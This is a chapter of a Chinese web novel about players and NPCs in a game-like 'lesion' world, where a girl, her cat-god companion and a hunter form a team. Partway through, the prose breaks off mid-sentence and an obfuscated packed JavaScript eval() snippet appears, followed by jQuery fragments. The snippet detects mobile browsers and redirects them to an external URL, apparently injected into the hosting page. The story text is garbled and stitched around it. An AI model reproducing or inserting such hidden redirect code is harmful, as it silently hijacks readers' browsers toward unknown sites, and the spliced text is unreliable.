许无忧和将军顺利完成任务。在短时间内重启自己的人生，变得独当一面，还找到了彼此信任的队友，女孩离开保卫部时步伐都轻松了不少。
“你看起来很高兴，我的好学生。”没成想转头就撞上神出鬼没的褚春来，“别忘了，小猫咪的事还没完全解决呢。这次我们找个地方好好聊聊如何？”
在这一刻，许无忧突然觉得自己不愿回想的过去并非全无用处。那些她极力抛却却深入骨血的东西，起码让她能迅速处理负面情绪，适应作为青囊的生活。
许无忧脸上的表情迅速褪去，看不出任何情绪。她的语气出奇冷静：“我知道，我们没有拒绝的余地，对吧？”
这么快就学会防备他人和掩饰情绪了，果然是块可塑性极强的璞玉，褚春来心想。
他在脸上挂出一副夸张的伤心表情：“我可是真心想帮你的呀，这又不是什么坏事。”
帮忙或许是真心的，但谁知道他又会用什么奇怪的方法，许无忧可不想再体验一次了。
将军也对着他挥了挥爪子。
褚春来不在意地笑：“跟我来吧。”
五分钟后，两人一猫在咖啡厅见到了等待许久的猎手。
见褚春来带来了自己的目标，天钺开门见山：“集合的时候你暗示我单独谈，现在可以说明你的目的了。”
褚春来坐在双方之间，为谈判开场：“想解开误会，最有效的办法就是开诚布公。不过今天呢，我就是个帮忙牵线搭桥的中间人，只要不是突然大打出手，我就不会擅加干预。今天谈到的一切也绝对不会有第三个人、第四个生物知道。那么，各位请随意。”
许无忧在来的路上已经打了很久腹稿，显得十分从容：“我还是坚持之前的观点，世界那么大，存在与涟漪人相似的生物也完全有可能。我相信将军不是涟漪人，但想听听你把它判定为猎物的依据。”
尽管不愿承认，但褚春来在场确实让她有了更多底气。
许无忧已经很久没有亲自选择过什么，这次她暗下决心，一定要保护自己的朋友。即使连将军自己都不确定自己是什么生物。
不知褚春来和天钺交换了何种条件，后者并没有拿出武器。当利刃被换成了咖啡杯，室内的暖光和喧闹之中，他沉默坐着时竟然显得很无害。
天钺没有喝咖啡，只是端着杯子看其中的棕色液体晃动。他面向许无忧，缓慢地说：“我的大脑中有一种物质，可以识别由群体意识构造的生物。”
“你应该能猜到，第一次看到这只白猫时，我就看出它在某种意义上与涟漪人相似。”
许无忧抚摸着将军，镇定断言：“所以你也不确定它和涟漪人是不是一种生物。”
“是的，我选择继续观察，没有立刻动手。”
将军的存在让天钺感到非常……困惑。
猎杀涟漪人的使命是构成他生命和记忆的基础，但不能误伤无辜者也是他始终坚持的守则，二者就像仿生人的底层代码，此刻却相互冲突。这一切让他回想起自己濒死时的困惑：猎杀是谁赋予自己的意义，猎手的意义究竟是什么？
比起继续猎杀，天钺心中更想弄明白这是怎么回事。
“我还是坚持之前的说法，它并不来自你的世界，和涟漪人不一样，也从来没想过害人。”许无忧不打算说服对方。她敏锐地抓住了足够掣肘猎手的东西，并加以利用。
天钺仍在思索，没有说话。
双方相继陷入沉默。褚春来贴心地为他们留出思考时间。
他看向女孩怀里的白猫，将真正的主角推上台前：“朋友们，说了这么多，我们似乎还没听过当事人的看法？”
将军接收到信号，轻轻从许无忧怀中挣出来，跳到桌上。
系统提供的声音转换器开启，将它的话翻译出来：“我所在的世界由信众和神明组成。我是一个被抛弃的神明。”
“神明是被信众‘创造’出来的东西，确实和你提到的涟漪人很像。”
许无忧担忧地看着背对自己隐隐呈防御姿态的白猫。她从平静的语气中感受到了将军的自嘲。
“当然，当神不再被需要，信众也可以赐其‘毁灭’。虽说是神明，但我们也就只是摆在神坛上的吉祥物而已，信众许愿，我们也没有拒绝实现的权利。”
信众让它诞生，它无法拒绝。信众要它去死，它也无法拒绝。
将军甚至有点羡慕涟漪人，起码他们的命运可以握在自己手上。
天钺专注听着。他第一次认真看眼前的白猫，除去通人性、可以用系统手环说人话之外，它就像这个世界中一只普通的猫。
许久之后，他垂眸接受现实：这一次还是找不到答案。
将军看出了他的疑惑，轻轻说：“你再想一想吧。”也可以尝试向我许愿。
说出这句话时，白猫身上竟然真的有一种神性的悲悯。
许无忧抱起它：“看来已经有结果了，那我们就……”
“哎哎，别着急，”褚春来拦住她，说：“既然咱们放弃了打打杀杀，我有个两全的办法。猎手朋友想弄明白小猫咪到底是什么生物，也欠小猫咪一个道歉，不好办啊。”
他笑着打了个响指：“不如这样，你们三个组个队，猎手朋友一边给小猫咪当打手，一边想答案，皆大欢喜。”
原本想着过后找机会道谢的许无忧：……我就不该对褚春来改观那么快。
没等她婉拒，天钺已经点头：“我没意见，可以通过系统签协议。”
将军把爪子挥出了残影，用猫语骂得很脏。翻译过来大概是：“你喵喵喵图谋不轨！谁喵喵喵要和你组队！许无忧只能和我组队喵喵喵！”
天钺仔细咀嚼了一下它的发言，奈何实在听不懂猫语。为了表示友好，只好上手摸了狂躁炸毛的白猫一把。
摸完，他从容地躲过将军的连续攻击，还不忘点评：“毛茸茸的，摸着很舒服。”
话音落下的那个瞬间，许无忧仿佛看见将军整个石化成猫咪石雕，然后碎碎……碎掉了！？
身边跟着一个杀手总让人觉得不踏实，但许无忧却不自觉地开始计算利弊。她听玉京子说过系统协议，一经签订，只要仍然身处系统管辖范围内，就无法违背其中的任何条款，可以对天钺形成非常有效的约束。
将军象征性抗议完也冷静下来，不动声色地对许无忧点头。自己的安危倒是不要紧，但它太弱了，能多个厉害的人保护许无忧总是好的。
“好了，这下我的任务就完成了。”
褚春来好像早已预见这种结局，也不知道是谁给他布置的任务。
见双方达成共识，他贴心地奉上备好的协议，直接把兑换和修订的步骤省去了。
协议一式两份，分别由天钺和许无忧保管。双方签好名字，契约生效，一支新的长期队伍就组成了。
许无忧不由有些恍惚，前不久她还羡慕玉京子有两位可靠的队友，现在自己也算有了。她知道这是褚春来一手促成的，但为什么要这么做呢？
天钺和将军也有同样的疑惑。但被他们念叨的人什么也没解释，已经去做自己的任务了。
……
“这一次玩家的任务进度顺利得有些过于刻意了。”
“你是说‘内鬼’引导玩家的计划很成功？”贺方定翻动着内鬼友情投递的匿名报告，总觉得还有哪里不对劲：“但从报告的风格来看，她不像是个行事缜密的人，怎么可能瞒得住那么多玩家，还能暗中引导走向呢？”
翻到一张龙飞凤舞的手写评分表时，看着最后一行的“找到正确解题方法”及之后的?，贺方定想起了被前会长随机刷新的评分表支配的恐惧，险些维持不住表情，嘴角略微抽搐：“她甚至还给玩家评了分……”
闻不语看着协会整合的阶段性报告，慢悠悠说：“当然是因为玩家里有人配合她。”
“这样就解释得通了，”贺方定思索两秒，镇定地接受了这个猜想，问：“还需要继续派人盯着她吗？”
“不用了，”闻不语望向窗外的天空，似乎想透过它看到世界之外的某个人。
她过了一会才回过神，解释道：“罗星之……此前关注她，是因为觉得她和前会长有关联，她们两个的性格和理念实在相似，就连随手给人打分的习惯都一样。毕竟都见识过系统这种东西了，重生失忆回新手村什么的，也算合理猜测吧？”
贺方定：“……你少看点小说。”
闻不语摊手：“不过现在看来，她做事比前会长稚嫩多了，果然还是我异想天开吗……”
自上次开放已经过去了两年，下落不明的前会长成了协会所有元老心头的一根刺，很多人都没有放弃寻找。那个一手建起中间人协会并带领他们度过第一次开放的人，曾经也极力主张NPC与玩家的合作，直到她与上一批玩家一同消失。
在协会骨干眼中明牌的卧底罗星之并不在意是否有人发现她那些一点也不小的“小动作”。如果哪天她突然乖乖遵守规则，白默伊反而会以为她被什么东西夺了舍。
此刻，她正和伊丽莎白并排蹲着，一起看乌鸫在草地上觅食。其他三方玩家正在努力推进主线任务，罗星之终于久违地品尝到了摸鱼的快乐。
两人坐着的地方远离教学区，靠近秋水湖，游客不多，岁月静好。
几分钟之前，她们还亲眼看着一只刺猬从马路对岸窜到这边，在马路牙子上卡了半分钟才爬上去，然后“嗖”一下就消失了——单看这个画面，真的很难想象它也是支线任务的一环。
上一届玩家到底是怎么触发这条支线的？难道是因为热心帮助刺猬爬上马路牙子时伤了它的自尊心？
可惜没人能解答罗星之的疑惑。
伊丽莎白紧盯着眼前从未见过的黑色小鸟，惊奇道：“幽冥在上，快看，它刚刚从草地里找到了一只蚯蚓！”
乌鸫眼中只有食物没有观众。它用明黄色的鸟喙啄起蚯蚓，脖子一仰就将其整个吞下。
罗星之背靠长凳，伸了个懒腰，给伊丽莎白讲冷笑话：“恭喜！乌鸫吃到了乌冬面。”
文化差异阻碍了伊丽莎白理解笑点。她疑惑地发出三连问：“乌冬面是什么？和乌鸫有什么关系吗？是蚯蚓在你的世界里的别称吗？”
“这是一个谐音梗冷笑话……”罗星之无奈：“算了，正好三食堂刚开，走，我请你去那里吃乌冬面！”
两人到食堂时，员工阿姨刚把大门上的锁打开，一脸宠溺地看着她们，说：“饿坏了吧，马上开饭。”
罗星之习惯了到得太早被关在门外，门开后就坦然地走进空荡荡的食堂，气势如同包场。
两人用餐时，食客陆续进入厅中，周遭叮叮当当的备餐声令人心神愉悦。
伊丽莎白专注嗦乌冬面的时候，公共频道里多了几条消息。
玉京子：【任务完成，校方的一些领导早就有调整开放制度的想法，我只是轻轻“推”了一下，他们就开始派人修改相关规定和调整配套设施了。】
摸我头者必断手：【这个学校的领导层竟然真的是干实事讲效率的，估计不出两天就能成功落地。顺利的话，在那之前我们就能离开这个病灶了。】
复制人会梦到量产蝴蝶：【不愧是老大！】
摸我头者必断手：【？】
天钺：【任务完成。】
我是猫：【我们的任务也完成了！】
我是猫：【可恶，就你打字快？！继续发你的句号去吧！】
天钺：【？】
我是猫：【啊啊啊啊啊讨厌的人类！！！】
为自己而活：【别吵架别吵架！】
为自己而活：【说回正题，前两天校园里似乎发生了什么事，引起了保卫部的重视。我跟他们交流的时候，他们说很高兴知道有同学在关心校园的情况，保卫部本来就有加强巡逻的想法，一定不会让同学们失望。】
罗星之一边编辑信息一边想，大概知道是什么事了。
夜空中最暗的星：【太好了，进展顺利！】
尊贵的伊丽莎白阁下：【辛苦各位，大家都是非常可靠的队友。】
玉京子：【看来我们运气都不错。】
罗星之在这句话上停留了一段时间，心想：协会采取的行动还是不要让玩家知道了，暂且就归结于“运气”吧。
遍历寒冬方有春来：【新闻中心这边的计划也在顺利进行，网络上的舆论还在掌控之中。】
三方行动取得进展后，手环上突然多出一个治疗进度条，显示当前已经完成74%。角落里还有一个小小数字提示并发症的触发情况为4/9，还有两条全新并发症没有被触发，也没有被协会收录。
罗星之终于度过了轻松快乐的一天，晚上协会开会时甚至早到了2分钟——虽然她依旧不听。
主线推进基本不会再有突发情况，协会的主要任务就转变为探索两条新支线，寻找NPC被拉入其中的原因——这些都与玩家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962010|177681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无关了，罗星之想想就头疼，干脆套上玩家的壳子，不愿插手，专注水群。
Heeeeeeeelp：【又凭空出现两个新支线……而且现在NPC也可以被拉进主线和支线的特殊场景里了，感觉不是很妙啊！】
小小小芝麻：【嗯……是系统偷偷做了更新吗？】
十九：【这到底是什么导向，有没有人能解读一下？】
岁岁岁岁岁岁岁：【难道是系统突然决定判NPC与玩家同罪？】
格林尼治天文台：【现在放弃NPC身份还来得及吗？】
只是砖：【等校园内的症结彻底解决了，咱们估计就能从NPC转生为普通人了吧（幻想.jpg）】
拉普拉斯维加斯：【别想了，校园开放问题就像治不好的慢性病，不会有彻底解决的一天。现在情况是向好了，之后指不定哪一天又会有矛盾。】
实习救世主：【……拉老师说的有理，温馨提醒：大家别忘了最近很猖獗的黄牛问题，现在还是无解的。我猜其中一个新支线就和它有关。】
拉普拉斯维加斯：【救世主高见！】
罗星之看着“黄牛”二字，隐约抓住了一些关联。
“总觉得这次黄牛突然变得又聪明又猖獗，难道背后有高人指点……”
她煞有介事地戳戳白默伊：“小白，现在黄牛是什么情况？”
白默伊习惯了她跳脱的思维，想了想说：“政策调整之后钱就没那么好赚咯，所以很多黄牛想在这之前狠狠捞一把，现在市价最高已经炒到1000以上了，短期内确实能大赚。”
罗星之：“真是丧心病狂啊……”
“协会派了技术大佬出动也没成功溯源，咱们还是别操心这事了。玩家那边进展还算顺利，你就专心跟着吧。”
手环上的进度条一直缓慢向前走。玩家们难得在病灶里享受了一段轻松的观光时间。解开系统的谜语后，看着不时出来骚扰一下的削弱版敌意都觉得可爱。当然，第一反应还是赶紧往NPC设立的安全点位跑。
天钺加入队伍后的第一件事，就是让许无忧和将军逐个扫荡校园内的各个并发症，教学方式与褚春来相比也不遑多让。
某位猎手的原话是：这是一场特训，可以锻炼你们的生存能力，不到最后时刻我不会出手。
一人一猫刚开始还四处逃窜喵声一片，摸清了支线触发规律之后，便攻守之势易也，转而开始满校园追着其他小动物打。
支线触发情况很快就从4/9变成了7/9，除了两个未知的新支线都打过一遍了。
罗星之闲逛时见过他们几次，还曾压低声音，老气横秋地跟伊丽莎白感叹：“年轻人就是有活力啊……”
上一届玩家还在苦哈哈地躲避支线，这一届已经开始主动触发支线了，真是后浪推前浪。
两人还在秋水湖的湖心岛上遇到了一直神出鬼没，没有参与一点主线任务的赵通元。那时他手上正捧着罗盘，来回踱步，对着围绕亭子的石碑和古树喃喃自语，像是在看风水。
罗星之莫名从他神神叨叨的样子里看到了一些学术精神，同时也发现一个问题：难道赵通元早就算出这个副本可以躺赢，所以直接躺了？
伊丽莎白和她心有灵犀，压低声音敬畏地说：“神秘的东方力量。”
“……这只是个例。”罗星之生怕她产生什么奇怪的印象，但也不得不承认，这届玩家真是卧虎藏龙啊。
*
两天后的正午12点，在98%卡了整整一天的进度条终于走到100%。离开病灶的通道在中央广场的一个角落里悄然开启。
罗星之和伊丽莎白到时，其他玩家都在，正等着人到齐后相互告别。
褚春来站在距通道最近的地方，笑容满面：“难得遇到这么顺利的病灶，多亏队友可靠啊。之后有缘再见了，各位！”
玉京子笑叹：“真是一次宝贵的经历，我开始喜欢这种不用打打杀杀的合作型任务了。”
“哼，如果不是机制特殊，我早就把敌意干掉了。”大巫仍然很在意被敌意围困的事，愤愤踢了踢自己的法杖。
玉京子摸摸他的头，安慰道：“有了这一次的经验，下次再遇到这类怪物，我们就会更得心应手了。”
T25的手一点点挪动，在摸头的边缘疯狂试探，却被法杖熟练且精准地挡了回去。手与法杖相撞，发出一声熟悉的“叮”。幸好他没有痛觉，仍然乐呵呵的：“我在这里睡得很香，离开后肯定会有点想念的。”
罗星之很想问问他是不是真的会在梦里见到量产蝴蝶，犹豫间又听见一连串跌宕起伏的“喵喵喵”。
“它说的是：遇到了喜欢的人类，很感谢这个病灶，感谢除了……某人之外的所有人。”在许无忧翻译时，“猫”特意当着天钺的面蹭了蹭她的脸。
天钺没有接收到“猫”的信号，只发出了一声赞同的“嗯”。
许无忧接着说：“这个病灶里有很多危险，但我也在大家的帮助下成长了许多。祝大家之后的旅途都好运！”
接着，众人将目光转向有些焦躁的赵通元。
后者有所察觉，轻咳一声开口：“我一定会再回到这个世界的，”他的语气中尽是压抑的兴奋，仿佛这里埋藏了什么珍宝，坚定地说：“湖边的风水我还差一点就能看透了！”
罗星之毫不意外：真是令人敬佩的学术精神啊……
大巫飘起来鄙视他：“原来你才是真的搭便车玩家！”
赵通元一摊手，带着两个黑眼圈面无表情地忽悠道：“我进入病灶时便算出，没有我的参与，任务会一切顺利，一切尽在卦象之中啊……”
大巫半信半疑：“真有那么神奇？”
在两人把对话的氛围引向学术论辩之前，有人敏锐地发现了盲点。
“哎，道长不是只算风水不算命吗？”许无忧疑惑道。
空间凝滞了一瞬，三人面面相觑了两秒，被拆穿的赵通元先顶不住，几步跨到门边，率先离开了病灶，只留下一句话：“冥冥之中自有定数，各位后会无期——”
许无忧委婉道：“真是一个……有趣的人啊。”
“是时候告别了，”伊丽莎白扶了一下眼镜，笑着接过话题，意味深长地引述了自己在进入病灶之初说过的话：“敌意是致命的毒药，信任是前行的航标……”
她一一看向在场的人，用简洁的话献上自己的祝福：“祝大家都能寻得所求之物，完成所求之事。”